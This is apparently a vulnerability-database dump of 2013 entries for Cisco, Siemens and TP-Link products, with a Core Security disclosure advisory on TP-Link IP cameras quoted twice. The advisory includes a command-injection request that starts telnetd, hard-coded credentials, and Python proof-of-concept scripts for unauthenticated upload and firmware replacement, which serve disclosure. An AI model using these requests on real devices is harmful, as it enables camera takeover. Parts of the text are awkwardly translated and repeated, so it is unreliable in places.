VAR-201308-0090 CVE-2013-3443 Cisco WAAS Software of Web Vulnerability to execute arbitrary code in service framework CVSS V2: 10.0
CVSS V3: -
Severity: HIGH
The web service framework in Cisco WAAS Software 4.x and 5.x before 5.0.3e, 5.1.x before 5.1.1c, and 5.2.x before 5.2.1 in a Central Manager (CM) configuration allows remote attackers to execute arbitrary code via a crafted POST request, aka Bug ID CSCuh26626. Vendors have confirmed this vulnerability Bug ID CSCuh26626 It is released as.Skillfully crafted by a third party POST Arbitrary code may be executed via a request. Cisco Wide Area Application Services is prone to a remote code-execution vulnerability. Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. This issue is being tracked by Cisco bug ID CSCuh26626. This software is mainly used in the link environment with small bandwidth and large delay. Cisco WAAS Software 4.x, Cisco WAAS Software 5.x prior to 5.0.3e, Cisco WAAS Software 5.1.x prior to 5.1.1c, Cisco WAAS Software 5.2.x prior to 5.2.1 are affected
VAR-201308-0091 CVE-2013-3444 plural Cisco Product Web Framework arbitrary command execution vulnerability CVSS V2: 9.0
CVSS V3: -
Severity: HIGH
The web framework in Cisco WAAS Software before 4.x and 5.x before 5.0.3e, 5.1.x before 5.1.1c, and 5.2.x before 5.2.1; Cisco ACNS Software 4.x and 5.x before 5.5.29.2; Cisco ECDS Software 2.x before 2.5.6; Cisco CDS-IS Software 2.x before 2.6.3.b50 and 3.1.x before 3.1.2b54; Cisco VDS-IS Software 3.2.x before 3.2.1.b9; Cisco VDS-SB Software 1.x before 1.1.0-b96; Cisco VDS-OE Software 1.x before 1.0.1; and Cisco VDS-OS Software 1.x in central-management mode allows remote authenticated users to execute arbitrary commands by appending crafted strings to values in GUI fields, aka Bug IDs CSCug40609, CSCug48855, CSCug48921, CSCug48872, CSCuh21103, CSCuh21020, and CSCug56790. plural Cisco Product Web Framework central management mode (central-management mode) Contains a vulnerability that allows arbitrary command execution. Vendors have confirmed this vulnerability Bug ID CSCug40609 , CSCug48855 , CSCug48921 , CSCug48872 , CSCuh21103 , CSCuh21020 ,and CSCug56790 It is released as.By a remotely authenticated user GUI An arbitrary command may be executed by adding a specially crafted string to the field value. Multiple Cisco Content Network and Video Delivery products are prone to a remote command-injection vulnerability because it fails to properly sanitize user-supplied input. Successfully exploiting this issue may allow an unprivileged attacker to execute arbitrary commands on the affected system and completely compromise the affected devices. This issue is being tracked by Cisco bug IDs CSCug40609, CSCug48855, CSCug48921, CSCug48872, CSCuh21103, CSCuh21020, and CSCug56790. Cisco Wide Area Application Services (WAAS) is a set of WAN link acceleration software from Cisco. This software is mainly used in the link environment with small bandwidth and large delay
VAR-201308-0352 CVE-2013-4652 Siemens Scalance W-700 Series Authentication Bypass Vulnerability CVSS V2: 10.0
CVSS V3: -
Severity: HIGH
Unspecified vulnerability in the command-line management interface on Siemens Scalance W7xx devices with firmware before 4.5.4 allows remote attackers to bypass authentication and execute arbitrary code via a (1) SSH or (2) TELNET connection. The Siemens Scalance W-700 Series is an industrial wireless switch device developed by Siemens. Devices supporting IEEE 802.11a/b/g with firmware version < v4.5.4 below are affected by this vulnerability: SCALANCE W744-1, W746-1, W747-1 SCALANCE W744-1PRO, W746-1PRO, W747-1RR SCALANCE W784- 1, W784-1RR SCALANCE W786-1PRO, W786-2PRO, W786-3PRO, W786-2RR SCALANCE W788-1PRO, W788-2PRO, W788-1RR, W788-2RR. Successfully exploiting this issue may allow an attacker to bypass certain security restrictions and completely compromise an affected system. Siemens Scalance W-700 Series running firmware versions prior to 4.5.4 are vulnerable
VAR-201307-0210 CVE-2013-3425 Cisco WebEx of Meeting Center Component enumerated file vulnerability CVSS V2: 4.0
CVSS V3: -
Severity: MEDIUM
The Meeting Center component in Cisco WebEx 11 generates different error messages for invalid file-access attempts depending on whether a file exists, which allows remote authenticated users to enumerate files via a series of SPI calls, aka Bug ID CSCuc35965. WebEx is prone to a remote security vulnerability. Cisco WebEx is a set of Web conferencing tools developed by American Cisco (Cisco), which can assist office workers in different places to coordinate and cooperate. WebEx services include Web conferencing, telepresence video conferencing and enterprise instant messaging (IM). There is a security vulnerability in the Meeting Center component of Cisco WebEx version 11.0. Attackers can use these error messages through a series of SPI Call enumeration file
VAR-201308-0351 CVE-2013-4651 Siemens SCALANCE W700 In the series firmware SSL Vulnerability to perform man-in-the-middle attacks on sessions CVSS V2: 6.6
CVSS V3: -
Severity: MEDIUM
Siemens Scalance W7xx devices with firmware before 4.5.4 use the same hardcoded X.509 certificate across different customers' installations, which makes it easier for remote attackers to conduct man-in-the-middle attacks against SSL sessions by leveraging the certificate's trust relationship. The Siemens Scalance W-700 Series is an industrial wireless switch device developed by Siemens. Devices supporting IEEE 802.11a/b/g with firmware version < v4.5.4 below are affected by this vulnerability: SCALANCE W744-1, W746-1, W747-1 SCALANCE W744-1PRO, W746-1PRO, W747-1RR SCALANCE W784- 1, W784-1RR SCALANCE W786-1PRO, W786-2PRO, W786-3PRO, W786-2RR SCALANCE W788-1PRO, W788-2PRO, W788-1RR, W788-2RR. Attackers can exploit this issue to spoof a valid server and conduct man-in-the-middle attacks. Successful exploits will cause victims to accept the certificates assuming they are from a legitimate site. Siemens Scalance W-700 series running firmware versions prior to 4.5.4 are vulnerable
VAR-201310-0194 CVE-2013-2578 plural TP-Link IP Cameras Product cgi-bin/admin/servetest Vulnerable to arbitrary command execution CVSS V2: 10.0
CVSS V3: -
Severity: HIGH
cgi-bin/admin/servetest in TP-Link IP Cameras TL-SC3130, TL-SC3130G, TL-SC3171, TL-SC3171G, and possibly other models before beta firmware LM.1.6.18P12_sign6 allows remote attackers to execute arbitrary commands via shell metacharacters in (1) the ServerName parameter and (2) other unspecified parameters. The TP-Link TL-SC3171 IP camera is a webcam device. TP-Link TL-SC3171 IP Cameras are prone to multiple remote command-injection vulnerabilities. Attackers may exploit these issues to execute arbitrary commands with root privileges in the context of the affected device. TP-Link TL-SC3171 running firmware version LM.1.6.18P12_sign5 is vulnerable; other versions may also be affected. There is a command injection vulnerability in the cgi-bin/admin/servetest file in versions earlier than LM.1.6.18P12_sign6 of TP-LINK IP Cameras. The following models are affected: TL-SC3130, TL-SC3130G, TL-SC3171, TL-SC3171G. *Advisory Information* Title: Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras Advisory ID: CORE-2013-0618 Advisory URL: http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras Date published: 2013-07-30 Date of last update: 2013-07-30 Vendors contacted: TP-Link Release mode: Coordinated release 2. *Vulnerability Information* Class: OS command injection [CWE-78], Use of hard-coded credentials [CWE-798], Authentication Bypass Issues [CWE-592], Missing Authentication for Critical Function [CWE-306] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2578, CVE-2013-2579, CVE-2013-2580, CVE-2013-2581 3. [CVE-2013-2578] to execute arbitrary commands through the file '/cgi-bin/admin/servetest'. 2. [CVE-2013-2579] to execute arbitrary commands in a shell using hard-coded credentials. 3. [CVE-2013-2580] to perform unauthenticated remote file uploads. 5. [CVE-2013-2581] to perform unauthenticated remote firmware upgrades. 3.1. *Attack Paths* There are several attack paths that can be exploited by combining these vulnerabilities with other ones discovered by Eliezer Varade Lopez, Javier Repiso Sanchez and Jonas Ropero Castillo [2]. Additional attack paths are available, but the ones listed here allow understanding how an attacker could compromise the affected device. 3.1.1. *Attack Path I* (Authentication: none) 1. Upload a rooted firmware exploiting [CVE-2013-2581]. 2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2]. 3.1.2. *Attack Path II* (Authentication: bypassed) 1. Reset the device to its factory defaults exploiting 'http://<ip-cam>/cgi-bin/hardfactorydefault'[2]. After this step, the authentication can by bypassed by using 'admin:admin' as a valid 'username:password'. 2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2]. 3. Start the Telnet service exploiting [CVE-2013-2578]. 4. Login to the Telnet service using user 'qmik' (no password) [CVE-2013-2579], and use the device as a pivoting point. 4. *Vulnerable Packages* Tests and PoC were run on: . 5. *Vendor Information, Solutions and Workarounds* Vendor provides the links to (pre-release) patched firmware versions [3]. The final official versions will be released in the next few days. Please, contact TP-Link for further information. 6. *Credits* These vulnerabilities were discovered by Flavio de Cristofaro and researched with the help of Andres Blanco from Core Security Technologies. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* 7.1. *OS Command Injection in servetest* [CVE-2013-2578] The file '/cgi-bin/admin/servetest' has an OS command injection in several of its parameters that can be exploited by an authenticated user to execute arbitrary commands. The following proof of concept starts the telnetd service: /----- GET /cgi-bin/admin/servetest?cmd=smtp&ServerName=1.1.1.1;/usr/sbin/telnetd;&ServerPort=25&ServerSSL=off&RcptToAddr1=q@q&AdminAddr=q@q HTTP/1.1 Accept: */* Accept-Language: en-us Referer: http://192.168.1.100/progress.htm If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Host: 192.168.1.100 Proxy-Connection: Keep-Alive Cookie: VideoFmt=1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 2 -----/ 7.2. *Hard-coded credentials in telnet service* [CVE-2013-2579] The affected system includes a hard-coded login with no password which could be used by a remote attacker to access the OS of the affected device using the built-in telnet service: /----- username: qmik password: (none) -----/ The 'qmik' user is allowed to execute the command 'su', allowing the user to execute arbitrary commands with root level privileges. The telnet service can be enabled through [CVE-2013-2578]. 7.3. *Unauthenticated remote file uploads* [CVE-2013-2580] The file '/cgi-bin/uploadfile' allows an unauthenticated user to perform remote file uploads as shown in the following Python PoC: /----- import requests fileName = "lala.tmp" f = open(fileName, "w") f.write("lala") f.close() requests.post("http://192.168.1.100/cgi-bin/uploadfile", files={fileName: open(fileName, "rb")}) -----/ The uploaded file (in this example lala.tmp) will be hosted in the '/mnt/mtd' directory. 7.4. *Unauthenticated remote firmware upgrades* [CVE-2013-2581] The file '/cgi-bin/firmwareupgrade' allows an unauthenticated user to perform remote firmware upgrades as shown in the following Python POC: /----- import requests requests.get("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset") fileName = "COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin" cookies={"VideoFmt":"1"} requests.post("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset", files={"SetFWFileName" : (fileName, open(fileName, "rb"))}, cookies=cookies) -----/ 8. *Report Timeline* . 2013-06-12: Core Security Technologies notifies the TP-Link team of the vulnerability. 2013-06-18: Core Security Technologies notifies the TP-Link team of the vulnerability and set the estimated publication date of the advisory for July 10, 2013. 2013-06-19: TP-Link answers saying that these vulnerabilities are the same as the ones published on May 28, 2013. 2013-06-26: Core Security Technologies notifies the TP-Link team that these are new, different, vulnerabilities and sends a draft report with technical information. 2013-06-26: Vendor acknowledges the receipt of the technical report. 2013-07-01: Vendor requests additional technical information. 2013-07-04: Core re-sends an improved technical report with additional information regarding possible attack paths [Sec. 3.1]. 2013-07-10: First release date missed. 2013-07-15: Core asks for a status update. 2013-07-22: Vendor notifies that a patched firmware version will be released on July 29th. 2013-07-22: Core re-schedules the advisory publication for July 29th. 2013-07-26: Vendor notifies that a (pre-release) patched firmware version is available [3] and being tested. 2013-07-30: Advisory CORE-2013-0618 is published. 9. *References* [1] TP-Link TL-SC3171, http://www.tp-link.com/en/products/details/?categoryid=230&model=TL-SC3171. [3] See the online version, http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras. 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
VAR-201310-0195 CVE-2013-2579 TP-Link TL-SC3171 IP Camera Remote Command Injection Vulnerability CVSS V2: 10.0
CVSS V3: -
Severity: HIGH
TP-Link IP Cameras TL-SC3130, TL-SC3130G, TL-SC3171, TL-SC3171G, and possibly other models before beta firmware LM.1.6.18P12_sign6 have an empty password for the hardcoded "qmik" account, which allows remote attackers to obtain administrative access via a TELNET session. The TP-Link TL-SC3171 IP camera is a webcam device. TP-Link TL-SC3171 running firmware version LM.1.6.18P12_sign5 is vulnerable; other versions may also be affected. The vulnerability comes from the fact that the program sets the hard-coded 'qmik' account with an empty password. A remote attacker can exploit this vulnerability through a TELNET session to gain administrator privileges. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras 1. *Advisory Information* Title: Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras Advisory ID: CORE-2013-0618 Advisory URL: http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras Date published: 2013-07-30 Date of last update: 2013-07-30 Vendors contacted: TP-Link Release mode: Coordinated release 2. *Vulnerability Information* Class: OS command injection [CWE-78], Use of hard-coded credentials [CWE-798], Authentication Bypass Issues [CWE-592], Missing Authentication for Critical Function [CWE-306] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2578, CVE-2013-2579, CVE-2013-2580, CVE-2013-2581 3. *Vulnerability Description* Multiple vulnerabilities have been found in TP-Link TL-SC3171 [1] IP camera running firmware version LM.1.6.18P12_sign5 that could allow an attacker: 1. [CVE-2013-2578] to execute arbitrary commands through the file '/cgi-bin/admin/servetest'. 2. [CVE-2013-2579] to execute arbitrary commands in a shell using hard-coded credentials. 3. [CVE-2013-2580] to perform unauthenticated remote file uploads. 5. [CVE-2013-2581] to perform unauthenticated remote firmware upgrades. 3.1. *Attack Paths* There are several attack paths that can be exploited by combining these vulnerabilities with other ones discovered by Eliezer Varade Lopez, Javier Repiso Sanchez and Jonas Ropero Castillo [2]. Additional attack paths are available, but the ones listed here allow understanding how an attacker could compromise the affected device. 3.1.1. *Attack Path I* (Authentication: none) 1. Upload a rooted firmware exploiting [CVE-2013-2581]. 2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2]. 3.1.2. *Attack Path II* (Authentication: bypassed) 1. Reset the device to its factory defaults exploiting 'http://<ip-cam>/cgi-bin/hardfactorydefault'[2]. After this step, the authentication can by bypassed by using 'admin:admin' as a valid 'username:password'. 2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2]. 3. Start the Telnet service exploiting [CVE-2013-2578]. 4. Login to the Telnet service using user 'qmik' (no password) [CVE-2013-2579], and use the device as a pivoting point. 4. *Vulnerable Packages* Tests and PoC were run on: . 5. *Vendor Information, Solutions and Workarounds* Vendor provides the links to (pre-release) patched firmware versions [3]. The final official versions will be released in the next few days. Please, contact TP-Link for further information. 6. *Credits* These vulnerabilities were discovered by Flavio de Cristofaro and researched with the help of Andres Blanco from Core Security Technologies. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* 7.1. *OS Command Injection in servetest* [CVE-2013-2578] The file '/cgi-bin/admin/servetest' has an OS command injection in several of its parameters that can be exploited by an authenticated user to execute arbitrary commands. The following proof of concept starts the telnetd service: /----- GET /cgi-bin/admin/servetest?cmd=smtp&ServerName=1.1.1.1;/usr/sbin/telnetd;&ServerPort=25&ServerSSL=off&RcptToAddr1=q@q&AdminAddr=q@q HTTP/1.1 Accept: */* Accept-Language: en-us Referer: http://192.168.1.100/progress.htm If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Host: 192.168.1.100 Proxy-Connection: Keep-Alive Cookie: VideoFmt=1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 2 -----/ 7.2. The telnet service can be enabled through [CVE-2013-2578]. 7.3. *Unauthenticated remote file uploads* [CVE-2013-2580] The file '/cgi-bin/uploadfile' allows an unauthenticated user to perform remote file uploads as shown in the following Python PoC: /----- import requests fileName = "lala.tmp" f = open(fileName, "w") f.write("lala") f.close() requests.post("http://192.168.1.100/cgi-bin/uploadfile", files={fileName: open(fileName, "rb")}) -----/ The uploaded file (in this example lala.tmp) will be hosted in the '/mnt/mtd' directory. 7.4. *Unauthenticated remote firmware upgrades* [CVE-2013-2581] The file '/cgi-bin/firmwareupgrade' allows an unauthenticated user to perform remote firmware upgrades as shown in the following Python POC: /----- import requests requests.get("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset") fileName = "COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin" cookies={"VideoFmt":"1"} requests.post("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset", files={"SetFWFileName" : (fileName, open(fileName, "rb"))}, cookies=cookies) -----/ 8. *Report Timeline* . 2013-06-12: Core Security Technologies notifies the TP-Link team of the vulnerability. 2013-06-18: Core Security Technologies notifies the TP-Link team of the vulnerability and set the estimated publication date of the advisory for July 10, 2013. 2013-06-19: TP-Link answers saying that these vulnerabilities are the same as the ones published on May 28, 2013. 2013-06-26: Core Security Technologies notifies the TP-Link team that these are new, different, vulnerabilities and sends a draft report with technical information. 2013-06-26: Vendor acknowledges the receipt of the technical report. 2013-07-01: Vendor requests additional technical information. 2013-07-04: Core re-sends an improved technical report with additional information regarding possible attack paths [Sec. 3.1]. 2013-07-10: First release date missed. 2013-07-15: Core asks for a status update. 2013-07-22: Vendor notifies that a patched firmware version will be released on July 29th. 2013-07-22: Core re-schedules the advisory publication for July 29th. 2013-07-26: Vendor notifies that a (pre-release) patched firmware version is available [3] and being tested. 2013-07-30: Advisory CORE-2013-0618 is published. 9. *References* [1] TP-Link TL-SC3171, http://www.tp-link.com/en/products/details/?categoryid=230&model=TL-SC3171. [2] Security Analysis of IP video surveillance cameras, http://seclists.org/fulldisclosure/2013/Jun/84. [3] See the online version, http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras. 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc